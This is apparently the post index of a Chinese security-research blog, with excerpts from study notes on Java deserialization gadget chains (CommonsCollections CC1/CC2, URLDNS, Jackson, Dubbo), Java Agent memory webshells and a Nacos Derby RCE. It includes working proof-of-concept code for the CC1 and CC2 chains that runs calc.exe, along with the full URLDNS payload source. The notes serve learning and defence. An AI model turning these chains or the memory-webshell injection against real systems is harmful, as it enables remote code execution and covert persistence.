D70w's Blog

Nacos Derby 条件竞争RCE漏洞复现

Wed, 24 Jun 2026 20:55:00 +0800

0x01 简介

Nacos 是一个用于动态服务发现和配置以及服务管理的平台，Derby 是一个Java 类库的形式对外提供服务的数据库引擎。

0x02 漏洞概述

Nacos Derby数据库接口/nacos/v1/cs/ops/derby 和 /nacos/v1/cs/ops/data/removal 存在条件竞争漏洞，攻击者可借此接口执行恶意SQL，加载恶意jar并注册函数，在未授权条件下利用 derby sql 注入漏洞（CVE-2021-29442）调用恶意函数来执行恶意代码。

Agent内存马(三)

Mon, 18 Nov 2024 23:52:26 +0800

这部分 rebeyond 师傅参考了游望之师傅的文章解决了之前通过字典匹配查找 jvm 基址的方法，改成了通过 shellcode 调用 JNI_GetCreatedJavaVMs 获取 jvm 的基址。

具体的 shellcode 分析可以看我之前写的关于调用 JNI_GetCreatedJavaVMs 的 shellcode 浅析，或者直接看 rebeyond 师傅的Java 内存攻击技术漫谈以及游望之师傅的Linux 下内存马进阶植入技术。也许你会奇怪为什么 shellcode 分析发在这篇文章之前，因为我是先把相关的东西看完再返回来慢慢写博客的。(◍╹ｘ╹◍)

Agent内存马（二）续

Mon, 18 Nov 2024 18:52:26 +0800

无文件上传 Agent 内存马

在之前的文章中我们已经知道了，如果需要在 JVM 里修改加载的类，那我们就需要加载自定义的 Agent。其可以是 Java 层的 jar 包，也可以是 Native 层的.so 文件。但是它们都是需要落地上传文件的，显然并不方便。那么能不能不上传文件实现动态修改呢？答案是可以的，方法就是跳过正常的加载流程。

关于弹计算器的shellcode学习

Wed, 13 Nov 2024 20:32:25 +0800

这部分主要对 pop calc.exe 的 shellcode 进行分析，因为Agent 内存马 (二) 篇幅过长，因此分开讲。

其中部分思路在关于调用 JNI_GetCreatedJavaVMs 的 shellcode 浅析内已经仔细讲过了，因此不再赘述。

当我们拿到一个 shellocde，我们自然会将其写入文件中，然后用 IDA 分析其汇编。但是单纯的汇编不一定能够让我们直观快速的理解其思路和功能，因此调试是必不可少的。

Agent内存马（二）

Tue, 05 Nov 2024 19:39:24 +0800

在上一篇文章的末尾，我们已经了解到 instrument 可以通过其 attach 方法提供的在 JVM 运行时动态查看、修改 Java 类的功能，动态注入内存马。但是在 Java9 及以后的版本中，默认不允许 SelfAttach。

解决 SelfAttach

java

package org.example;

import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.io.IOException;
import java.util.List;

public class get_PID {
 public static void main(String[] args) throws IOException, AttachNotSupportedException {
 List<VirtualMachineDescriptor> list = VirtualMachine.list();
 for(VirtualMachineDescriptor vmd:list){
 if(vmd.displayName().equals("org.example.get_PID")){
 System.out.println(vmd.id());
 VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
 }
 }
 }
}

执行上述代码结果如下，显示无法 attach 到自身进程。

关于调用JNI_GetCreatedJavaVMs的shellcode浅析

Mon, 04 Nov 2024 14:39:16 +0800

最近在看 agent 内存马，然后发现了 rebeyond 师傅写的宝藏文章论如何优雅的注入 Java Agent 内存马，不过里面和常规的内存马不同使用了可执行的 bytes，不过之前学过部分 pwn，因此看到能够执行的 bytes shellcode 很感兴趣，所以想分析一波 (事实证明这玩意入门真的难)

shellcode 转化为汇编

原本的 shellcode 是 bytes，我们还没有全能到直接看 byte 流，因此需要把它变成汇编代码，因此我们需要写一段 java 代码把 byte 写到文件里面再放到 IDA 里面分析

shokax主题安装及避坑

Sun, 03 Nov 2024 23:24:40 +0800

因为 shoka 主题很久没维护了，主题相关 CDN 链接访问太慢导致主题加载过于缓慢 (不知道都以为网站打不开了┭┮﹏┭┮)，因此把主题换成了其精神续作shokax (作者维护的很勤奋的)

主题安装

主题安装可以参考这个文档，建议直接使用 ShokaX 即食罐头，因为使用 git 安装 ShokaX 会出现很多奇奇怪怪的 bug，而且还不知道是啥原因。相关配置参考这个文档

JAVA Agent内存马笔记

Mon, 21 Oct 2024 17:51:04 +0800

Java 是一种强类型语言，在运行之前必须将其编译成.class 字节码，然后再交给 JVM 处理运行。Java Agent 就是一种能在不影响正常编译的前提下，修改 Java 字节码，进而动态地修改已加载或未加载的类、属性和方法的技术。

实际上，平时较为常见的技术如热部署、一些诊断工具等都是基于 Java Agent 技术来实现的。那么 Java Agent 技术具体是怎样实现的呢？对于 Agent（代理）来讲，其大致可以分为两种，一种是在 JVM 启动前加载的 premain-Agent，另一种是 JVM 启动之后加载的 agentmain-Agent。这里我们可以将其理解成一种特殊的 Interceptor（拦截器），如下图

JAVA内存马学习（一）

Wed, 16 Oct 2024 22:01:32 +0800

JAVA 内存马

之前学习过简陋版的 PHP 内存马，原理就是通过死循环让进程始终保持活跃。但是 JAVA 内存马貌似不一样，它涉及的东西更加多。

JAVA 里的服务机制类似于下图

其中 Servlet 层提供实际的服务，而 Filter 层则对传入的请求进行过滤，Listener 层用于监听服务器内的事件。而这三层都可以成为我们内存马的媒介。

Jackson反序列化漏洞浅析

Fri, 11 Oct 2024 14:31:37 +0800

Jackson 反序列化漏洞原理

Jackson 反序列化漏洞利用的是 Jackson 中的 PojoNode, 它的 toString 是可以直接触发任意的 getter 的，触发条件如下

不需要存在该属性
getter 方法需要有返回值
尽可能的只有一个 getter

TemplatesImpl 利用链分析

我们熟知通过触发 getter 方法而实现的反序列化利用链，就莫过于 CC3 利用链了

CC链的小笔记

Thu, 10 Oct 2024 22:48:34 +0800

CC 链的小笔记

CC1

java

TransformedMap.put()
->TransformedMap.transformValue()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()

CC1 是最简单的也是最基本的利用链，原理是用 TransformedMap 对 ChainedTransformer 进行修饰，利用 TransformedMap.put () 进入 TransformedMap.transformValue () 触发 valueTransformer.transform (object)【即 ChainedTransformer.transform ()】

CC1x

java

AnnotationInvocationHandler.readObject()
->TransformedMap.setvalue()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()

CC1x 实现了让反序列化链子在服务端执行，将代码中手动 put 元素触发改为了利用 AnnotationInvocationHandler.readObject () 里面的 setvalue () 方法进行自动触发，实现数据在服务端反序列化时能自动执行链子

Dubbo（CVE-2020-1948）反序列化利用链分析

Thu, 10 Oct 2024 22:47:46 +0800

Apache Dubbo（CVE-2020-1948）反序列化利用链分析

腾讯安全玄武实验室研究员发现，Dubbo 2.7.6 或更低版本采用的默认反序列化方式存在代码执行漏洞，当 Dubbo 服务端暴露时 (默认端口：20880)，攻击者可以发送未经验证的服务名或方法名的 RPC 请求，同时配合附加恶意的参数负载。当恶意参数被反序列化时，它将执行恶意代码。

CommonsCollections2浅析

Thu, 10 Oct 2024 22:41:31 +0800

CommonsCollections2 浅析

CC2 和 CC1 的不同在于换了一个触发方式，当然之后的 CC 链也是如此。它采用了 PriorityQueue.readObject () 去触发整条利用链。

本地 CC2

这是一个可以在本地弹计算器的 Demo，里面加了些便于理解的注释

java

package org.example;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollection2 {
 public static void main(String[] args) throws Exception{
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
 new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
 };

 Transformer transformerChain = new ChainedTransformer(transformers);
 TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
 PriorityQueue queue = new PriorityQueue(1);// 此处初始化时没有初始化 Tcomparator 进去，防止后面 add (2) 时直接触发利用链

 queue.add(1);// 添加俩个元素是因为至少在 heapify 方法内才会进入 for 循环
 queue.add(2);

 Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
 field.setAccessible(true);
 field.set(queue,Tcomparator);// 替换为 Tcomparator 用于触发回调

 try{
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(barr);
 oos.writeObject(queue);
 oos.close();
 System.out.println(barr);
 ObjectInputStream ois = new ObjectInputStream(new
 ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object)ois.readObject();
 }catch(Exception e){
 e.printStackTrace();
 }
 }
}
/*
PriorityQueue.readObject ()->PriorityQueue.heapify ()->PriorityQueue.siftDown->PriorityQueue.siftDownComparable [内含代码 comparator.compare,Comparator 是一个接口，compare 是它的抽象方法]
 -> 触发 TransformingComparator.compare ()[触发代码 this.transformer.transform (obj1), 从而触发回调，触发利用链]

 参考:https://xz.aliyun.com/t/10387?time__1311=Cqjx2Qi%3DomqGqGNDQieiK%2BlBDn7QtWK4D
 */

一样的从后往前看，先看猜测触发点是在 PriorityQueue.readObject ()

CommonsCollection1浅析

Thu, 10 Oct 2024 22:36:26 +0800

CommonsCollections1 浅析

CC1 是反序列化最基础的一个利用链，也是最简单能看明白原理的链子。

简化 CC1

首先是一个超级简化的 CC1，它的作用是在本地执行 Runtime.getRuntime ().exec (“C:/Windows/System32/calc.exe”) 这行代码弹出计算器

java

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollection1 {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.getRuntime()),// 包装 Runtime 类，在执行 transform 时返回该对象
 new InvokerTransformer("exec", new Class[]{String.class},
 new Object[]{"C:/Windows/System32/calc.exe"}),};
 //InvokerTransformer 第⼀个参数是待执⾏的⽅法名，第⼆个参数是这个函数的参数列表的参数类型，第三个参数是传给这个函数的参数列表：

 Transformer transformerChain = new ChainedTransformer(transformers);
 // 将内部的多个 Transformer 串在⼀起。通俗来说就是，前⼀个回调返回的结果，作为后⼀个回调的参数传⼊
 Map innerMap = new HashMap();
 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
 //TransformedMap ⽤于对 Java 标准数据结构 Map 做⼀个修饰，被修饰过的 Map 在添加新的元素时，将可以执⾏⼀个回调
 // 我们这⾥所说的” 回调 “，并不是传统意义上的⼀个回调函数，⽽是⼀个实现了 Transformer 接⼝的类
 outerMap.put("test", "xxxx");
 }
}

ConstantTransformer () 方法是对对象进行包装，当触发 transform 时返回该对象
new InvokerTransformer(“exec”, new Class ,new Object ) 代表将要执行的是 exec（“C:/Windows/System32/calc.exe”）方法
ChainedTransformer 的作用是将内部的多个 Transformer 串在⼀起。即前⼀个回调返回的结果，作为后⼀个回调的参数传入。譬如上述代码中，会先执行 ConstantTransformer (Runtime.getRuntime ()) 获取 Runtime.getRuntime () 对象，然后这个对象作为 InvokerTransformer (“exec”, new Class ,new Object ) 中的 new Class 的参数内容进行执行 Runtime.getRuntime ().exec (“C:/Windows/System32/calc.exe”) 弹出计算器
TransformedMap ⽤于对 Java 标准数据结构 Map 做⼀个修饰，被修饰过的 Map 在添加新的元素时，将可以执⾏⼀个回调。而 TransformedMap.decorate () 执行后会返回被修饰后的 Map
outerMap.put (“test”, “xxxx”); 触发 transform 从而触发整条利用链

触发点 TransformedMap.put

TEST

Thu, 10 Oct 2024 16:25:44 +0800

图片

java

import java.util.Scanner;
...
Scanner in = new Scanner (System.in);
// 输入 Scan 之后，按下键盘 Alt + “/” 键，Eclipse 下自动补全。
System.out.println (in.nextLine ());
System.out.println ("Hello" + "world.");

java

import java.util.Scanner;
...
Scanner in = new Scanner (System.in);
// 输入 Scan 之后，按下键盘 Alt + “/” 键，Eclipse 下自动补全。
System.out.println (in.nextLine ());
System.out.println ("Hello" + "world.");

java

import java.util.Scanner;
...
Scanner in = new Scanner (System.in);
// 输入 Scan 之后，按下键盘 Alt + “/” 键，Eclipse 下自动补全。
System.out.println (in.nextLine ());
System.out.println ("Hello" + "world.");

参考链接

Thu, 10 Oct 2024 16:25:44 +0800

参考链接

先记着，要用再看。

干货 | 冰蝎、哥斯拉内存马应急排查免杀手法大总结（入门）

URLDNS分析

Thu, 10 Oct 2024 16:16:11 +0800

URLDNS 是 ysoserial 中一个非常适合检测是否存在反序列化漏洞存在的利用链，因为它具有下述俩个优点

使⽤ Java 内置的类构造，对第三⽅库没有依赖
在⽬标没有回显的时候，能够通过 DNS 请求得知是否存在反序列化漏洞

下面是 ysoserial 内 URLDNS 的代码

java

public class URLDNS implements ObjectPayload<Object> { 
 public Object getObject(final String url) throws Exception { 
 // 避免在负载创建期间进行 DNS 解析 
 // 由于字段 <code>java.net.URL.handler</code> 是瞬态的，它将不包含在序列化的负载中。 
 URLStreamHandler handler = new SilentURLStreamHandler(); 
 HashMap ht = new HashMap(); // HashMap 将包含 URL 
 URL u = new URL(null, url, handler); // 用作键的 URL 
 ht.put(u, url); // 值可以是任何可序列化的对象，使用 URL 作为键会触发 DNS 查找。 
 Reflections.setFieldValue(u, "hashCode", -1); // 在上面的 put 操作中，URL 的 hashCode 被计算并缓存。此操作重置 hashCode，以便下次调用时触发 DNS 查找。 
 return ht; 
 } 

 public static void main(final String[] args) throws Exception { 
 PayloadRunner.run(URLDNS.class, args); 
 } 

 /** 
 * <p > 这个 URLStreamHandler 的实例用于在创建 URL 实例时避免任何 DNS 解析。 
 * DNS 解析用于漏洞检测。在使用序列化对象之前，不应探测给定的 URL。</p> 
 * 
 * <b > 潜在的假阴性：</b> 
 * <p > 如果 DNS 名称首先从测试计算机解析，目标服务器在第二次解析时可能会获得缓存命中。</p> 
 */ 
 static class SilentURLStreamHandler extends URLStreamHandler { 
 protected URLConnection openConnection(URL u) throws IOException { 
 return null; 
 } 

 protected synchronized InetAddress getHostAddress(URL u) { 
 return null; 
 } 
 } 
}

触发点 HashMap#readObject